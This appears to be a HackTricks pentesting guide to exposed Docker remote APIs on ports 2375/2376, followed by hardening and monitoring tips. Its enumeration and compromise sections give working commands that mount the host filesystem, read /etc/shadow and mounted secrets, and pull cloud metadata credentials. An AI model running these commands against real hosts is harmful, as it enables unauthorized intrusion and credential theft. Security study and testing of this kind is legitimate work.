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368 lines
22 KiB
Markdown
368 lines
22 KiB
Markdown
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# 2375, 2376 Pentesting Docker
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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### Docker Basics
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#### What is
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Docker is the **forefront platform** in the **containerization industry**, spearheading **continuous innovation**. It facilitates the effortless creation and distribution of applications, spanning from **traditional to futuristic**, and assures their **secure deployment** across diverse environments.
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#### Basic docker architecture
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* [**containerd**](http://containerd.io): This is a **core runtime** for containers, tasked with the comprehensive **management of a container's lifecycle**. This involves handling **image transfer and storage**, in addition to overseeing the **execution, monitoring, and networking** of containers. **More detailed insights** on containerd are **further explored**.
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* The **container-shim** plays a critical role as an **intermediary** in the handling of **headless containers**, seamlessly taking over from **runc** after the containers are initialized.
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* [**runc**](http://runc.io): Esteemed for its **lightweight and universal container runtime** capabilities, runc is aligned with the **OCI standard**. It is used by containerd to **start and manage containers** according to the **OCI guidelines**, having evolved from the original **libcontainer**.
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* [**grpc**](http://www.grpc.io) is essential for **facilitating communication** between containerd and the **docker-engine**, ensuring **efficient interaction**.
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* The [**OCI**](https://www.opencontainers.org) is pivotal in maintaining the **OCI specifications** for runtime and images, with the latest Docker versions being **compliant with both the OCI image and runtime** standards.
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#### Basic commands
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```bash
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docker version #Get version of docker client, API, engine, containerd, runc, docker-init
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docker info #Get more infomarion about docker settings
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docker pull registry:5000/alpine #Download the image
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docker inspect <containerid> #Get info of the contaienr
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docker network ls #List network info
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docker exec -it <containerid> /bin/sh #Get shell inside a container
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docker commit <cotainerid> registry:5000/name-container #Update container
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docker export -o alpine.tar <containerid> #Export container as tar file
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docker save -o ubuntu.tar <image> #Export an image
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docker ps -a #List running and stopped containers
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docker stop <containedID> #Stop running container
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docker rm <containerID> #Remove container ID
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docker image ls #List images
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docker rmi <imgeID> #Remove image
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docker system prune -a
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#This will remove:
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# - all stopped containers
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# - all networks not used by at least one container
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# - all images without at least one container associated to them
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# - all build cache
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```
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#### Containerd
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**Containerd** was specifically developed to serve the needs of container platforms like **Docker and Kubernetes**, among others. It aims to **simplify the execution of containers** across various operating systems, including Linux, Windows, Solaris, and more, by abstracting operating system-specific functionality and system calls. The goal of Containerd is to include only the essential features required by its users, striving to omit unnecessary components. However, achieving this goal completely is acknowledged as challenging.
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A key design decision is that **Containerd does not handle networking**. Networking is considered a critical element in distributed systems, with complexities such as Software Defined Networking (SDN) and service discovery that vary significantly from one platform to another. Therefore, Containerd leaves networking aspects to be managed by the platforms it supports.
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While **Docker utilizes Containerd** to run containers, it's important to note that Containerd only supports a subset of Docker's functionalities. Specifically, Containerd lacks the network management capabilities present in Docker and does not support the creation of Docker swarms directly. This distinction highlights Containerd's focused role as a container runtime environment, delegating more specialized functionalities to the platforms it integrates with.
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```bash
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#Containerd CLI
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ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
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ctr images list #List images
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ctr container create registry:5000/alpine:latest alpine #Create container called alpine
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ctr container list #List containers
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ctr container info <containerName> #Get container info
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ctr task start <containerName> #You are given a shell inside of it
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ctr task list #Get status of containers
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ctr tasks attach <containerName> #Get shell in running container
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ctr task pause <containerName> #Stop container
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ctr tasks resume <containerName> #Resume cotainer
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ctr task kill -s SIGKILL <containerName> #Stop running container
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ctr container delete <containerName>
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```
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#### Podman
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**Podman** is an open-source container engine that adheres to the [Open Container Initiative (OCI) standards](https://github.com/opencontainers), developed and maintained by Red Hat. It stands out from Docker with several distinct features, notably its **daemonless architecture** and support for **rootless containers**, enabling users to run containers without root privileges.
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Podman is designed to be compatible with Docker's API, allowing for the use of Docker CLI commands. This compatibility extends to its ecosystem, which includes tools like **Buildah** for building container images and **Skopeo** for image operations such as push, pull, and inspect. More details on these tools can be found on their [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools).
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**Key Differences**
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* **Architecture**: Unlike Docker’s client-server model with a background daemon, Podman operates without a daemon. This design means containers run with the privileges of the user who starts them, enhancing security by eliminating the need for root access.
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* **Systemd Integration**: Podman integrates with **systemd** to manage containers, allowing for container management through systemd units. This contrasts with Docker's use of systemd primarily for managing the Docker daemon process.
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* **Rootless Containers**: A pivotal feature of Podman is its ability to run containers under the initiating user's privileges. This approach minimizes the risks associated with container breaches by ensuring that attackers gain only the compromised user's privileges, not root access.
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Podman's approach offers a secure and flexible alternative to Docker, emphasizing user privilege management and compatibility with existing Docker workflows.
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{% hint style="info" %}
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Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:
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```bash
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podman --version
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podman info
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pdoman images ls
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podman ls
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```
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{% endhint %}
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### Basic Information
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Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment.
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**Default port:** 2375
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```
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PORT STATE SERVICE
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2375/tcp open docker
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```
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### Enumeration
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#### Manual
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Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example:
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```bash
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#Using curl
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curl -s http://open.docker.socket:2375/version | jq #Get version
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{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
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#Using docker
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docker -H open.docker.socket:2375 version #Get version
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Client: Docker Engine - Community
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Version: 19.03.1
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API version: 1.40
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Go version: go1.12.5
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Git commit: 74b1e89
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Built: Thu Jul 25 21:21:05 2019
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OS/Arch: linux/amd64
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Experimental: false
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Server: Docker Engine - Community
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Engine:
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Version: 19.03.1
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API version: 1.40 (minimum version 1.12)
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Go version: go1.12.5
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Git commit: 74b1e89
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Built: Thu Jul 25 21:19:41 2019
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OS/Arch: linux/amd64
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Experimental: false
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containerd:
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Version: 1.2.6
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GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
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runc:
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Version: 1.0.0-rc8
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GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
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docker-init:
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Version: 0.18.0
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GitCommit: fec3683
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```
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If you can **contact the remote docker API with the `docker` command** you can **execute** any of the **docker** [**commands previously** commented](2375-pentesting-docker.md#basic-commands) to interest with the service.
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{% hint style="info" %}
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You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command
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{% endhint %}
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**Fast privilege escalation**
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```bash
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docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
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```
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**Curl**
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Sometimes you’ll see **2376** up for the **TLS** endpoint. I haven’t been able to connect to it with the docker client but it's possible to do it with curl.
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```bash
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#List containers
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curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
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#List processes inside a container
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curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
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#Set up and exec job to hit the metadata URL
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curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
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#Get the output
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curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
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# list secrets (no secrets/swarm not set up)
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curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
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#Check what is mounted
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curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
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#Get the output by starting the exec
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curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
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#Cat the mounted secret
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curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
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#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
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curl -s –insecure https://tls-opendocker.socket:2376/services | jq
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#Creating a container that has mounted the host file system and read /etc/shadow
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curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
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curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
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curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
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curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
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#Stop the container
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curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
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#Delete stopped containers
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curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
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```
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If you want more information about this, more information is available where I copied the commands from: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
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#### Automatic
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```bash
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msf> use exploit/linux/http/docker_daemon_tcp
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nmap -sV --script "docker-*" -p <PORT> <IP>
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```
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### Compromising
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In the following page you can find ways to **escape from a docker container**:
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{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
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[docker-security](../linux-hardening/privilege-escalation/docker-security/)
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{% endcontent-ref %}
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Abusing this it's possible to escape form a container, you could run a weak container in the remote machine, escape from it, and compromise the machine:
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```bash
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docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
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cat /mnt/etc/shadow
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```
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
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### Privilege Escalation
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If you are inside a host that is using docker, you may [**read this information to try to elevate privileges**](../linux-hardening/privilege-escalation/#writable-docker-socket).
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### Discovering secrets in running Docker containers
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```bash
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docker ps [| grep <kubernetes_service_name>]
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docker inspect <docker_id>
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```
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Check **env** (environment variable section) for secrets and you may find:
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* Passwords.
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* Ip’s.
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* Ports.
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* Paths.
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* Others… .
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If you want to extract a file:
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```bash
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docker cp <docket_id>:/etc/<secret_01> <secret_01>
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```
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### Securing your Docker
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#### Securing Docker installation and usage
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* You can use the tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) to inspect your current docker installation.
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* `./docker-bench-security.sh`
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* You can use the tool [https://github.com/kost/dockscan](https://github.com/kost/dockscan) to inspect your current docker installation.
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* `dockscan -v unix:///var/run/docker.sock`
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* You can use the tool [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) the privileges a container will have when run with different security options. This is useful to know the implications of using some security options to run a container:
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* `docker run --rm -it r.j3ss.co/amicontained`
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* `docker run --rm -it --pid host r.j3ss.co/amicontained`
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* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
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#### Securing Docker Images
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* You can use a docker image of [https://github.com/quay/clair](https://github.com/quay/clair) to make it scan your other docker images and find vulnerabilities.
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* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
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* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
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#### Securing Dockerfiles
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* You can use the tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) to **inspect your Dockerfile** and find all kinds of misconfigurations. Each misconfiguration will be given an ID, you can find here [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) how to fix each of them.
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* `dockerfilelinter -f Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (176).png>)
|
|||
|
|
|||
|
* You can use the tool [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
|
|||
|
* `dockerfilelint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (212).png>)
|
|||
|
|
|||
|
* You can use the tool [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
|
|||
|
* `dockerlint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (71).png>)
|
|||
|
|
|||
|
* You can use the tool [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) to **inspect your Dockerfile** and find all kinds of misconfigurations.
|
|||
|
* `hadolint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (501).png>)
|
|||
|
|
|||
|
#### Logging Suspicious activity
|
|||
|
|
|||
|
* You can use the tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) to detect **suspicious behaviour in running containers**.
|
|||
|
* Note in the following chunk how **Falco compiles a kernel module and insert it**. After that, it loads the rules and **start logging suspicious activities**. In this case it has detected 2 privileged containers started, 1 of them with a sensitive mount, and after some seconds it detected how a shell was opened inside one of the containers.
|
|||
|
|
|||
|
```bash
|
|||
|
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
|||
|
* Setting up /usr/src links from host
|
|||
|
* Unloading falco-probe, if present
|
|||
|
* Running dkms install for falco
|
|||
|
|
|||
|
Kernel preparation unnecessary for this kernel. Skipping...
|
|||
|
|
|||
|
Building module:
|
|||
|
cleaning build area......
|
|||
|
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
|
|||
|
cleaning build area......
|
|||
|
|
|||
|
DKMS: build completed.
|
|||
|
|
|||
|
falco-probe.ko:
|
|||
|
Running module version sanity check.
|
|||
|
modinfo: ERROR: missing module or filename.
|
|||
|
- Original module
|
|||
|
- No original module exists within this kernel
|
|||
|
- Installation
|
|||
|
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
|
|||
|
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
|
|||
|
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
|
|||
|
|
|||
|
depmod...
|
|||
|
|
|||
|
DKMS: install completed.
|
|||
|
* Trying to load a dkms falco-probe, if present
|
|||
|
falco-probe found and loaded in dkms
|
|||
|
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
|
|||
|
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
|
|||
|
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
|
|||
|
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
|
|||
|
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
|
|||
|
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
|
|||
|
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
|
|||
|
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
|||
|
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
|||
|
```
|
|||
|
|
|||
|
#### Monitoring Docker
|
|||
|
|
|||
|
You can use auditd to monitor docker.
|
|||
|
|
|||
|
### References
|
|||
|
|
|||
|
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
|||
|
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
|
|||
|
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|